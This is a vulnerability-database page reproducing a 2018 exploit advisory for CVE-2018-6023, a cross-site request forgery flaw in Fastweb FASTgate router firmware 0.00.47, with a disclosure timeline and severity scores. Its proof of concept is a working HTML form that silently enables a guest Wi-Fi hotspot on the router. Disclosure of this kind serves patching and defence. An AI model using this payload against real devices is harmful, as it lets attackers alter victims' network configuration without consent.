Fastweb FASTGate 0.00.47 - Cross-Site Request Forgery

🗓️ 10 May 2018 00:00:00Reported by Raffaele SabatoType

Fastweb FASTgate 0.00.47 CSRF vulnerability allows remote attackers to hijack user authentication for configuration modification. Patched devices with non-vulnerable version .67 installed from December 2017 thru March 201

Reporter	Title	Published	Views	Family All 9
0day.today	Fastweb FASTGate 0.00.47 - Cross-site Request Forgery	10 May 201800:00	–	zdt
CNVD	Fastweb FASTgate Cross-Site Request Forgery Vulnerability	15 May 201800:00	–	cnvd
CVE	CVE-2018-6023	11 May 201821:00	–	cve
Cvelist	CVE-2018-6023	11 May 201821:00	–	cvelist
EUVD	EUVD-2018-17786	7 Oct 202500:30	–	euvd
exploitpack	Fastweb FASTGate 0.00.47 - Cross-Site Request Forgery	10 May 201800:00	–	exploitpack
NVD	CVE-2018-6023	11 May 201821:29	–	nvd
Packet Storm	Fastweb FASTGate 0.00.47 Cross Site Request Forgery	10 May 201800:00	–	packetstorm
Prion	Cross site request forgery (csrf)	11 May 201821:29	–	prion

# Exploit Title: Fastweb FASTgate 0.00.47 CSRF
# Date: 09-05-2018
# Exploit Authors: Raffaele Sabato
# Contact: https://twitter.com/syrion89
# Vendor: Fastweb
# Product Web Page: http://www.fastweb.it/adsl-fibra-ottica/dettagli/modem-fastweb-fastgate/
# Version: 0.00.47
# CVE: CVE-2018-6023

I DESCRIPTION
========================================================================

An issue was discovered in Fastweb FASTgate 0.00.47 device. A Cross-site request forgery (CSRF) vulnerability allows remote attackers to hijack the authentication of users for requests that modify the configuration. This vulnerability may lead to Gues Wi-Fi activating, Wi-Fi password changing, etc.
The vulnerability was disclosed to Fastweb on 19 January 2018.
Fastweb independently patched customer devices with non-vulneable version .67 from December 2017 thru March 2018.

II PROOF OF CONCEPT
========================================================================

## Activate Gues Wi-Fi:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.254/status.cgi">
      <input type="hidden" name="&#95;" value="1516312144136" />
      <input type="hidden" name="act" value="nvset" />
      <input type="hidden" name="hotspot&#95;broadcast&#95;ssid" value="1" />
      <input type="hidden" name="hotspot&#95;enable" value="1" />
      <input type="hidden" name="hotspot&#95;filtering" value="all" />
      <input type="hidden" name="hotspot&#95;security" value="WPA2PSK" />
      <input type="hidden" name="hotspot&#95;ssid" value="GUEST&#45;Test" />
      <input type="hidden" name="hotspot&#95;timeout" value="&#45;1" />
      <input type="hidden" name="service" value="wl&#95;guestaccess" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

III REFERENCES
========================================================================
http://www.fastweb.it/myfastpage/assistenza/guide/FASTGate/

10 May 2018 00:00Current

8.8High risk

Vulners AI Score8.8

CVSS 26.8

CVSS 38.8

EPSS0.00236